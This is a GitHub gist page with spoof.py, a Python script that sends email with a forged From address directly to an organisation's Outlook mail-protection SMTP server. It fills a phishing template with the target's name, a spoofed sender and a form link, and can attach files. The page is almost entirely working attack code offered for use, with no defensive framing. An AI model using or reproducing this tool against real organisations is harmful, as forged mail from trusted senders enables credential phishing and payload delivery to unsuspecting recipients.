Skip to content

Instantly share code, notes, and snippets.

@mgeeky
Forked from ustayready/spoof.py
Created August 30, 2025 10:10
Show Gist options
  • Save mgeeky/4593c5cf445a2446f1ae1d6f36595c45 to your computer and use it in GitHub Desktop.
Save mgeeky/4593c5cf445a2446f1ae1d6f36595c45 to your computer and use it in GitHub Desktop.

Revisions

  1. @ustayready ustayready created this gist Apr 13, 2022.
    57 changes: 57 additions & 0 deletions spoof.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,57 @@
    import smtplib
    from email.mime.text import MIMEText
    from email.mime.multipart import MIMEMultipart
    from email.mime.text import MIMEText
    from email.mime.base import MIMEBase
    from email import encoders
    import ssl
    import email
    import argparse


    def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--To', type=str, required=True)
    parser.add_argument('-f', '--From', type=str, required=True)
    parser.add_argument('-s', '--Subject', type=str, required=True)
    parser.add_argument('-b', '--Body', type=str, required=True)
    parser.add_argument('-a', '--Attach', type=str, required=False)
    parser.add_argument('--smtp', type=str, required=True, help="domain-com.mail.protection.outlook.com")
    args = parser.parse_args()

    link = 'https://formlink/'
    from_parts = args.From.split(' <')
    from_name = from_parts[0]

    to_parts = args.To.split(' <')
    to_name = to_parts[0]

    msg = MIMEMultipart('alternative')
    msg['Subject'] = args.Subject
    msg['From'] = args.From
    msg['To'] = args.To

    with open(args.Body, 'r') as fh:
    html = fh.read()
    body_html = html.replace('{{target}}', to_name).replace('{{sender}}', from_name).replace('{{link}}', link)
    html_part = MIMEText(body_html, 'html')
    msg.attach(html_part)

    if args.Attach:
    with open(args.Attach, 'rb') as attachment:
    attach_part = MIMEBase('application','octet-stream')
    attach_part.set_payload(attachment.read())
    encoders.encode_base64(attach_part)
    attach_part.add_header(
    'Content-Disposition',
    'attachment',
    filename=args.Attach
    )
    msg.attach(attach_part)

    s = smtplib.SMTP(args.smtp)
    s.sendmail(args.From,[args.To], msg.as_string())
    s.quit()

    if __name__ == "__main__":
    main()